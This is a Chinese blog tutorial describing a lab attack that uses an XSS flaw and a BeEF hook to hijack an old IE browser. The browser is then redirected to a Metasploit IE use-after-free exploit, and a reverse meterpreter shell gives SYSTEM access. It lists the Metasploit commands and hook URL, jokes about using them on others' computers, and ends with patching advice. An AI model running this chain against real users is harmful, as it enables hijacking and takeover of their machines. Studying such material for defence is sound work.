首页 /安全 / 渗透 / 正文

Beef+MSF利用XSS漏洞拿用户主机Shell

2021-07-21| 发布者: xiaotiger|

XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。

友情提示:

初入安全,小白一个,本文重在学习与经验分享!

背景

XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。

跨站脚本攻击(XSS)是指恶意攻击者往Web页面里插入恶意Script代码,WEB网站在开发过程中,并未过滤相关的JavaScript函数,导致函数可以输入到html中执行。当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS漏洞的危害包括但不限于诸如:劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。

1. beef介绍

BeeF是目前欧美最流行的web框架攻击平台,kali 集成Beef,而且Beef有很多好使的payload。例如,通过XSS这个简单的漏洞,BeeF可以通过一段编制好的javascript控制目标主机的浏览器,通过浏览器拿到各种信息并且扫描内网信息,同时能够配合metasploit进一步渗透主机。

zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编 写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间 (默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就 像一个Web应用,被分为前端UI,和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

2. 实验环境

本次实验通过XSS漏洞,利用Beef工具劫持用户浏览器会话,并利用MSF(Metasploit)漏洞利用工具获取用户主机的SHELL权限。

Kali IP:192.168.0.11/24

Web站点 IP:192.168.0.252/24,此web站点部署一套逍遥留言板,此web站点存在XSS漏洞。

靶机浏览器版本:IE 7/8/9,此靶机IP为192.168.0.104,前提是IE未打补丁。

XSS漏洞劫持浏览器并利用拿SHELL原理图

3. 漏洞类型

XSS跨站脚本

4. XSS漏洞复现过程

4.1 安装并配置beef工具

kali一般默认安装beef工具,我的kali版本未安装beef,让我们先来安装一下beef工具。

(1) 安装beef

apt-get install -y beef-xss

# 等待自动安装完成即可,默认安装路径/usr/share/beef-xss

(2) 配置beef

vim /etc/beef-xss/config.yaml或者vim
/usr/share/beef-xss/config.yaml

# 编辑哪个配置文件都行,这两个配置文件是链接的关系。

# 此配置文件可以修改默认账号信息以及绑定的IP地址,监听的IP地址等

(3) 启动beef

systemctl start beef-xss

# 较新版本的beef要求必须修改初始密码(beef/beef),编辑config.yaml修改默认账号密码就行。

(4) 登录beef


# URL必须写全才能登录,且默认端口是3000

(5)构造XSS恶意代码

首先,beef的hook(钩子)代码地址为http://*.*.*.*:3000/hook.js,本次实验的代码地址为
http://192.168.0.11:3000/hook.js,可以直接构造XSS的恶意代码:

# 此代码插入到web页面中去,用户只要访问带有恶意代码的页面,用户的浏览器就会被劫持。

(6)将XSS恶意代码植入到web站点中

4.2 配置MSF并生成恶意URL

(1) 启动MSF

msfconsole

# kali中默认集成了msf工具,直接敲此命令启动即可。

(2) 基于IE(7/8/9)的MSF漏洞利用工具参数配置

use exploit/windows/browser/ie_execcommand_uaf

# 使用ie_execcommand_uaf漏洞模块

set payload windows/meterpreter/reverse_tcp

# 配置攻击载荷,反弹shell链接,一般默认会使用此载荷

set srvhost 192.168.0.11

# 配置监听地址,此处为kali主机

set srvport 7777

# 配置监听的端口,只要不跟本地kali开启的端口冲突就行

(3) 攻击并监听

run

# 通过run命令或者exploit命令执行攻击并监听,执行此命令后会弹出被劫持浏览器重定向访问的恶意URL链接。

4.3 beef劫持用户浏览器并重定向URL到MSF生成的恶意链接上去

(1) 用户使用IE 8访问存在XSS漏洞的页面

(2)查看用户浏览器是否被beef劫持

用户在访问了带有JavaScript恶意代码的页面后,beef工具会监听到用户的会话链接。

图中显示用户的浏览器已经被劫持。

(3)通过commands模块中的Redirct Browser,将用户浏览器的URL链接重定向到MSF生成的恶意URL链接。

(4)观察用户浏览器以及MSF工具的状态

用户浏览器开始跳转。

MSF工具监控到用户主机反弹的会话信息,并且成功了。

(5)在MSF工具中查看会话状态

(6)通过MSF工具连接用户靶机并拿到用户靶机的SHELL

sessions -i 1

# 1代表的是反弹回来的session的ID号,此处ID为1。

shell

#进入到meterpreter模式后,敲shell命令可以直接进入用户靶机的shell模式

(7) 查看获取的权限类型

获取到用户系统的DOS命令的system权限,小伙伴可以在别人的电脑上愉快的玩耍了,啦啦啦!!!

5. 安全建议

(1)及时更新IE浏览器补丁。

(2)管好自己的手,不清楚的链接不要随便瞎点。

(3)web站点及时修复各种漏洞。

……


Keywords: 用户 beef 浏览器 漏洞 恶意 劫持 代码 XSS 靶机 工具

0人已打赏

0条评论 82人参与 网友评论 文明发言,请先登录

文明上网理性发言,请遵守国家法律法规。

最新评论

©2021 HACKBASE 黑名单手机版